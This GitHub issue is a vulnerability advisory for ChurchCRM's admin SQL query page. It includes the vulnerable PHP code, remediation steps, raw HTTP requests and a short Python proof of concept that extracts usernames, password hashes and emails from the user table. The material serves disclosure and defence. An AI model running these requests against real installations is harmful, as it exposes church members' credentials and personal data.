Skip to content

ChurchCRM - Arbitrary SQL Query Execution #9

@cyl-love

Description

@cyl-love

Product

ChurchCRM

Vendor

ChurchCRM

Vendor Website

https://churchcrm.io

GitHub Repository

https://github.com/ChurchCRM/CRM

Affected Version

Latest (as of 2026-02-18)

Vulnerability Type

Improper Input Validation (CWE-20) / Information Disclosure (CWE-200)

CVSS Score

9.1 (Critical)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Description

The QuerySQL.php feature allows administrators to execute arbitrary SELECT queries against the database without proper restrictions. While the feature is intended for administrative use, it enables complete database data exfiltration with no audit logging or query restrictions beyond the SELECT keyword check.

Vulnerable Code

File: QuerySQL.php
Lines: 17-56

if (isset($_POST['SQL'])) {
    // Assign the value locally
    $sSQL = stripslashes(trim($_POST['SQL']));
} else {
    $sSQL = '';
}

if (isset($_POST['CSV'])) {
    ExportQueryResults($sSQL, $rsQueryResults);
    exit;
}

// ...

if (isset($_POST['SQL'])) {
    if (strtolower(mb_substr($sSQL, 0, 6)) === 'select') {
        RunFreeQuery($sSQL, $rsQueryResults);
    }
}

The only validation is checking if the query starts with "select", which can be bypassed and still allows complete data exfiltration.

Proof of Concept

Basic Data Extraction

POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded

SQL=SELECT * FROM user_usr

Extract User Credentials

POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded

SQL=SELECT usr_UserName, usr_Password FROM user_usr

Export to CSV

POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded

SQL=SELECT * FROM user_usr&CSV=1

Python PoC

#!/usr/bin/env python3
import requests

target = "http://target.com"
session = {"PHPSESSID": "admin_session"}

# Extract all user credentials
data = {
    "SQL": "SELECT usr_UserName, usr_Password, usr_Email FROM user_usr",
    "CSV": "1"
}

response = requests.post(f"{target}/QuerySQL.php", data=data, cookies=session)
print(response.text)

Impact

  • Complete database data disclosure
  • User credential extraction
  • Sensitive information leakage
  • No audit trail of queries executed

Remediation

  1. Remove or heavily restrict the free-text query feature
  2. Implement query whitelisting with predefined safe queries
  3. Add comprehensive audit logging
  4. Implement query result filtering to mask sensitive data
  5. Require additional authentication/authorization for this feature
// Example: Whitelist approach
$allowedQueries = [
    'members' => 'SELECT * FROM person_per WHERE per_cls_ID = 1',
    'families' => 'SELECT * FROM family_fam',
];

if (isset($_POST['queryType']) && isset($allowedQueries[$_POST['queryType']])) {
    RunFreeQuery($allowedQueries[$_POST['queryType']], $rsQueryResults);
}

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions